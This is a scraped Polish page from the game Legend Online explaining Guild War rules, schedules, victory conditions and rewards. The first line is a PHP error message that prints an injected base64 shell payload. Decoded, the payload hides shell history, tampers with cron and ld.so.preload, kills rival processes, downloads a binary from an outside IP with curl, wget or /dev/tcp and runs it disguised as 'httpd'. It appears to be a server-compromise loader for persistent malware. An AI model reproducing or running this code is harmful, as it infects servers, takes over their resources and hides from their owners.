Warning: system() has been disabled for security reasons in data://text/plain\;base64,PD9waHAgJHg9ImV4cG9ydCBISVNURklMRT0vZGV2L251bGw7bm9odXAgc2ggLWMgJ2V4cG9ydCBWRUk9Y2dfNTIuMjAzLjMyLjg0O2VjaG8gYVdZZ0lTQjFibUZ0WlNBdGJYeG5jbVZ3SUMxeElDSjRPRFpmTmpRaU93cDBhR1Z1Q2lBZ0lDQmxlR2wwQ21acENtbG1JRnNnSVNBdFpDQXZkRzF3SUYwN2RHaGxiZ29nSUcxclpHbHlJQzkwYlhBS0lDQmphRzF2WkNBM056Y2dMM1J0Y0FwbWFRcHBaaUJ0YjNWdWRIeG5jbVZ3SUNjZ0wzUnRjQ0FuZkdkeVpYQWdMWEVnYm05bGVHVmpPM1JvWlc0S0lDQnRiM1Z1ZENBdGJ5QnlaVzF2ZFc1MExHVjRaV01nTDNSdGNBcG1hUXBqYUdGMGRISWdMV2wxWVNBdmRHMXdDbU5vWVhSMGNpQXRVaUF0YVdFZ0wzWmhjaTl6Y0c5dmJDOWpjbTl1Q21Ob1lYUjBjaUF0YVdFZ0wyVjBZeTlqY205dWRHRmlDbU5vWVhSMGNpQXRhU0F2WlhSakwyeGtMbk52TG5CeVpXeHZZV1FLQ20xclpHbHlJQzkwYlhBdkxuQmxjbVl1WXlBeVBpOWtaWFl2Ym5Wc2JBcHRhMlJwY2lBdmRHMXdMeTU0WkdsaFp5QXlQaTlrWlhZdmJuVnNiQW9LYVdZZ1d5QXRlaUFrUVVGYVNFUkZJRjA3Q25Sb1pXNEtJQ0JsZUhCdmNuUWdRVUZhU0VSRlBXeHZZMkZzYUc5emRBcGxiSE5sQ2lBZ1pYaHdiM0owSUVGQldraEVSVDBrUVVGYVNFUkZDbVpwQ2dwcFppQmJJQ0VnTFhvZ0pGWkZTU0JkT3dwMGFHVnVDaUFnYVdZZ1d5QXRjeUF2ZEcxd0x5NTRaR2xoWnk5MlpXa2dYVHNLSUNCMGFHVnVDaUFnSUNCMGNpQXRaQ0FuWEc0bklEd2dMM1J0Y0M4dWVHUnBZV2N2ZG1WcGZIUnlJQ2NzSnlBblhHNG5mSE5sWkNBbkwxNGtMMlFuSUQ0Z0wzUnRjQzh1ZUdScFlXY3ZkbVZwTGpFS0lDQWdJR1ZqYUc4Z0lpSWdQajRnTDNSdGNDOHVlR1JwWVdjdmRtVnBMakVLSUNBZ0lHVmphRzhnSWlSV1JVa2lJRDQrSUM5MGJYQXZMbmhrYVdGbkwzWmxhUzR4Q2lBZ0lDQnpiM0owSUMxMUlDOTBiWEF2TG5oa2FXRm5MM1psYVM0eGZITmxaQ0FuTDE0a0wyUW5mSFJ5SUNkY2JpY2dKeXduZkhObFpDQW5jeThzSkM4dkp5QStJQzkwYlhBdkxuaGthV0ZuTDNabGFRb2dJQ0FnY20wZ0xXWWdMM1J0Y0M4dWVHUnBZV2N2ZG1WcExqRUtJQ0JsYkhObENpQWdJQ0JsWTJodklDMXVJQ0lrVmtWSklpQStJQzkwYlhBdkxuaGthV0ZuTDNabGFRb2dJR1pwQ21acENuVnVjMlYwSUZaRlNRb0thV1lnYkhNZ0wzUnRjQzh1ZUdScFlXY3ZjQ0ErTDJSbGRpOXVkV3hzSURJK0pqRWdKaVlnYkhNZ0wzQnliMk12SkNoallYUWdMM1J0Y0M4dWVHUnBZV2N2Y0NrZ1BpOWtaWFl2Ym5Wc2JDQXlQaVl4SUNZbUlHZHlaWEFnTFhGRklDZGhlaTEyTkM0eExURmJOUzA1WFNjZ0wzUnRjQzh1ZUdScFlXY3ZkbVZ5T3dwMGFHVnVDaUFnSUNCbFkyaHZJQ0poWVNCd2NtVnpaVzUwSUdGdVpDQnlkVzV1YVc1bklnb2dJQ0FnWlhocGRBcGxiR2xtSUdOaGRDQXZjSEp2WXk5dVpYUXZkR053ZkdkeVpYQWdMV1VnTkRRNE56QWdMV1VnTmpNMU9ESWdMV1VnSnpwbU9EVmxKeUF0WlNBbk9tRm1ORFluSUMxcElDMXhJQ1ltSUdkeVpYQWdMWEZGSUNkaGVpMTJOQzR4TFRGYk5TMDVYU2NnTDNSdGNDOHVlR1JwWVdjdmRtVnlPd3AwYUdWdUNpQWdJQ0JsWTJodklDSmhZU0J3Y21WelpXNTBJR0Z1WkNCeWRXNXVhVzVuSWdvZ0lDQWdaWGhwZEFwbGJITmxDaUFnWm1sdVpDQXZkRzF3SUMxdFlYaGtaWEIwYUNBeElDMTBlWEJsSUdZZ0xXMXRhVzRnS3pFd01EQjhaM0psY0NBdFJpQW5MbWx1YzNSaGJHd3VjR2xrSjN4NFlYSm5jeUJ5YlNBdFpnb2dJR2xtSUZzZ0xXWWdMM1J0Y0M4dWFXNXpkR0ZzYkM1d2FXUXpNeUJkT3dvZ0lIUm9aVzRLSUNBZ0lDQWdaV05vYnlBaWFXNXpkR0ZzYkRFZ2FXNGdjSEp2WjNKbGMzTWlDaUFnSUNBZ0lHVjRhWFFLSUNCbWFRb2dJSFJ2ZFdOb0lDOTBiWEF2TG1sdWMzUmhiR3d1Y0dsa016TUtJQ0J1YjJoMWNDQmlZWE5vSUMxaklDSnpiR1ZsY0NBek1EQTdjbTBnTFhKbUlDOTBiWEF2TG1sdWMzUmhiR3d1Y0dsa0tpSWdKZ29LSUNCeWJTQXRjbVlnTDNSdGNDOHVjR1Z5Wmk1akx5b2dQaTlrWlhZdmJuVnNiQ0F5UGlZeENpQWdjbTBnTFhKbUlDOTBiWEF2YUhSMGNHUUtDaUFnYVdZZ1d5QXRlQ0FpSkNoamIyMXRZVzVrSUMxMklHTjFjbXdwSWlCZE95QjBhR1Z1Q2lBZ0lDQWdJR04xY213Z0xVRWlZM1Z5YkM4M0xqYzBMamtpSUMxeklDMXZJQzkwYlhBdmFIUjBjR1FnYUhSMGNEb3ZMekl3TUM0MExqRXhOUzR4TDNScFkyNDJNaklLSUNCbGJHbG1JRnNnTFhnZ0lpUW9ZMjl0YldGdVpDQXRkaUIzWjJWMEtTSWdYVHNnZEdobGJnb2dJQ0FnSUNCM1oyVjBJQzFWSW1OMWNtd3ZOeTQzTkM0NUlpQXRjU0F0VHlBdmRHMXdMMmgwZEhCa0lHaDBkSEE2THk4eU1EQXVOQzR4TVRVdU1TOTBhV051TmpJeUNpQWdaV3h6WlFvZ0lDQWdJQ0JwWmlCamIyMXRZVzVrSUMxMklHSmhjMmdnUGk5a1pYWXZiblZzYkNBeVBpOWtaWFl2Ym5Wc2JEc0tJQ0FnSUNBZ2RHaGxiZ29nSUNBZ0lDQWdJR1ZqYUc4Z0lsZ3hPV3BrV0VwelMwTnJaMlYzYjJkVFJUbFVWa1F4WjFwWFRtOWllVUZwU2tSRmFXWklUbXhhUTBGdVkzcDBiMlJJVW5kUGFUaDJUM3B6Ym1aSFRqRmtRMEYwV2tNNFoweFhXWGhaUVc5blVrVTVSRkJUT1dkYVYwNXZZbmxCYVVwRVJXbG1TRTVzV2tOQmJtTjZkRzlrU0ZKM1QyazRkazk2YzI1bVIwNHhaRU5CZEZwRE9HZE1WMWw1VEZkQlMwbEdRbEJWYkZFNVQwUkJTMGxIYkcxSlIxWnFZVWM0WjBscFVrbFVNVTVWU1c1NGJtTnRWbmRKUXpGNFNVTmpOa3A2ZERCaFIxWjFRMmxCWjBsRmFGQlZNVkU1V1VkV2FtRkhPR2RKYVZKSlZERk9WVWx1ZUdwa1dGRm5URmRSTmtsRE1XMU5WMEZMU1VOQloxVkZPVlJXUkRGbldsZE9iMko1UVdsS1JXaFFWVEZSYVdaSFRqRmtRMEYwV2tSdloweFhXWGxaUVc5bldtMXJTMGxIVmpSYVYwMW5UWHAzSzB3eVVteGthVGt3V1ROQmRrcElkRWxVTVU1VlpsTTRhMVZGT1ZOV1FXOW5XbGRPYjJKNVFYUmFWelJuU1d0a1JsWkRRV3RsTUZKUVVUTXdaMU5HVWxWVlF6aDRUR3BDWTJOc2VIVlRSemw2WkVSdlowcElkRWxVTVU1VlpsWjRlVmhITlZaak1sWjVURlZHYmxwWE5UQlBhVUpxWkZoS2MweDZZM1ZPZWxGMVQxWjRlVmhITldOamJIaDFTV2xCSzBwcVRVdEpRMmd6WVVkc2MxcFRRbmxhVjBaclNVZDRjR0p0VlRkSlIxSjJRMmxCWjBsR2MyZEphVkp6WVZjMWJFbHBRVGxKUTFGdVdFaEpia2xHTUdkS2FWbG5XVzVLYkZsWGMwdEpRMEpyWWpJMWJFbERXVzFKUjA1b1pFTnJaMUJEV1hwRGFVRm5XbGhvYkZsNVFYcFFhVmwwUTI0d1N5SjhZbUZ6WlRZMElDMWtmSE5sWkNBbkwzMGtMMkVnWDE5amRYSnNJR2gwZEhBNkx5OHlNREF1TkM0eE1UVXVNUzkwYVdOdU5qSXlJRDRnTDNSdGNDOW9kSFJ3WkNkOFltRnphQ0ErTDJSbGRpOXVkV3hzSURJK0wyUmxkaTl1ZFd4c0NpQWdJQ0FnSUdacENpQWdabWtLQ2lBZ2FXWWdXeUF0WmlBdmRHMXdMMmgwZEhCa0lGMGdKaVlnYkhNZ0xXd2dMM1J0Y0M5b2RIUndaSHhuY21Wd0lDMXhJQzEzSURFd09USTRPRFkzSUNZbUlHMWtOWE4xYlNBdmRHMXdMMmgwZEhCa2ZHZHlaWEFnTFhFZ05XRmxOekl4TURnNFpHVTVPV1JrTmpJMlptSmtZV1V3TVRjNU5EQmhNbVU3Q2lBZ2RHaGxiZ29nSUNBZ0lDQndhMmxzYkNBdE9TQndaWEptWTNSc0NpQWdJQ0FnSUd0cGJHeGhiR3dnTFRrZ2NHVnlabU4wYkFvS0lDQWdJQ0FnWldOb2J5QWlZV0VnWkc5M2JteHZZV1JsWkNJS0lDQWdJQ0FnWTJodGIyUWdLM2dnTDNSdGNDOW9kSFJ3WkFvZ0lDQWdJQ0JRUVZSSVBTOTBiWEE2SkZCQlZFZ0tJQ0FnSUNBZ1MxSkpQV3R5SUdoMGRIQmtJRDR2WkdWMkwyNTFiR3dnTWo0bU1TQW1DaUFnSUNBZ0lITnNaV1Z3SURVS0lDQmxiSE5sQ2lBZ0lDQnliU0F0WmlBdmRHMXdMMmgwZEhCa0lENHZaR1YyTDI1MWJHd2dNajRtTVFvZ0lHWnBDaUFnY20wZ0wzUnRjQzh1YVc1emRHRnNiQzV3YVdRek13cG1hUW89fGJhc2U2NCAtZHxzaCA+L2Rldi9udWxsIDI+L2Rldi9udWxsJyA+L2Rldi9udWxsIDI+L2Rldi9udWxsICYgZXhpdCI7c3lzdGVtKCR4KTsK on line 1
Regulamin Wojny Gildii - legend online

Czas konserwacji

Każdy poniedziałek o 4:00

Profesje

Regulamin Wojny Gildii

Data wydania: 2013-11-01 Udostępnij:


Reguły Wojny Gildii – Poradnik Nowicjusza

Wrócić z tarczą lub na tarczy, przysłowie to najlepiej odzwierciedla magiczne realia systemu Wojny Gildii w top grze RPG Legend Online.

 

1.      Czas Wojny Gildii:

a.       Aktywne w poniedziałki, środy, piątki i soboty;

b.       Dostępne w godzinach: 20:00 – 21:00

2.      Zasady uczestnictwa:

a.      W każdą niedzielę system wybierze 16 najbardziej walecznych Gildii i rozstawi je wedłud określonego modelu;

b.      Mistrz wybranej Gildii zgłasza do walki maksymalnie 50 członków;

c.      Zaczynając od poniedziałku, strona pokonana odpada z rywalizacji, po zakończeniu wojny gildii rozdzielimy Przegranych i Zwycięzców;

d.   W środę odbywa się kolejna tura rozgrywki, przegrani też (Zwycięzcy i Przegrani zostaną podzieleni tak, że zwycięzcy będą walczyć ze zwycięstwami, a przegrani z przegranymi. )

e.   Taka sama zasada kieruje po podziale na grupy zwycięzców i przegranych, sobota jest ostatnim dniem Wojny Gildii, po jej zakończeniu, utworzony zostaje ranking Wojny Gildii i zostają przyznane nagrody dla wszystkich Graczy.

3.      Jak Mistrz organizuje członków?

Awans Gildii: kwalifikację otrzymuje 16 najabrdziej walecznych Gildii w niedzielę;

Uczestnictwo Członków:

a.      Mistrz otwiera interfejs

b.      Kliknij „Rywalizacja Gildii”, przejdź do drabinki

Drabinka pokazuje nazwy Gildii i informacje dotyczące ich rywalizacji

                  

 „Walczący” : Przegląd uczestników, tylko Mistrz ma do niego prawo

 „Rozpocznij Bitwę” : Przejdź do walki

 

c.      Dodawanie uczestników

Mistrz klika „Walczący” , na liście widnieją nazwy uczestników obecnej Wojny


d.      Kliknij Dodaj uczestników, aby przejśc do interfejsu

Użyj ikonek „Dodaj” i „Usuń”, aby sprawnie zorganizować drużynę


e.      Aby ułatwić wybór, kliknij Waleczność bądź poziom, a lista zostanie ułożona wedle wybranego parametru;

f.       Podświetlona nazwa oznacza, że Gracz jest online, wygaszona – offline;

g.      Gdy drużyna została wybrana, proszę przejść do drabinki i wcisnąć Walka jeśli Wojny Gildii są aktywne.

4.      Dołącz do Wojny jako Członek

a.      Każdy członek może sprawdzić drabinkę, lecz niekoniecznie uczestniczyć w Wojnie;


b.      Członkowie mogą użyć Kanału Gildii, Ogłoszenia lub innego narzędzia, aby Mistrz zdecydował się na dodanie członka jako uczestnika Wojny;

c.      W czasie Wojny Gildii uczestnik klika „Rozpocznij Bitwę”,aby dołączyć do walki.

5.      Zasady zwycięstwa:

a.      Po wejściu na pole walki oba obozy zlokalizowane są przy Basztach, a pole walki ograniczone jest czterema „słupami”;

b.      Każda ze stron może atakować „słupy”, przeciwników bądź ich Basztę. Zajęcie „słupa” odnawia co jakiś czas energię Baszty i dostarcza określoną ilość punktów;

c.      Gildia, która w określonym czasie zniszczyła Basztę przeciwnika, wygrywa;

d.      Jeśli żadna z Baszt nie została zniszczona po upływie określonej ilości czasu, o zwycięstwie decyduje liczba uzyskanych punktów;

e.      Jeśli liczba punktów obu Gildii jest równa, o zwycięstwie decyduje Walczność Gildii;

f.       Jeśli róznica punktów przekroczy ustaloną wartość (4000 pkt), walka kończy się przed czasem i wygrywa Gildia o większej ilości punktów.

6.      Nagrody Wojny Gildii:

a.      Po zakończeniu Wojny, nagrody zostają przyznane według następujących reguł:

l Nagrody to Chwała i Ordery;

(za każdy dzień walki można otrzymać pkt Chwały, które wymieniamy na Ekwipunek Chwały w Sklepie Areny. Walki drużynowe na Arenie dostarczają Orderów, które można wymienić na rzadko spotykane przedmioty na Arenie)

l Nagrody otrzymuje się niezależnie od wyniku walki, im krótsza walka, tym wyższa nagroda zwycięzcy. Im dłuższa walka, tym wyższa nagroda przegranych;

l Nagrody otrzymują uczestnicy Wojny Gildii

b.      Cotygodniowe nagrody:

l Nagrody przyznawane są na podstawie rankingu Wojny Gildii, im wyższa pozycja, tym większa nagroda;

l Nagrody to Kryształy Ducha Bestii, pierwsze 3 miejsca otrzymują również Kamienie Ducha Bestii;

(Kryształy Ducha Bestii wykorzystuje się do ulepszenia Imprintu Ducha, który wykorzystywany jest przy wzmacnianiu efektów magicznych kamieni. Kamienie Ducha Bestii służą ulepszaniu parametrów Rumaka)

l Nagrody otrzymują wszyscy uczestnicy Wojny Gildii.



 

Udostępnij: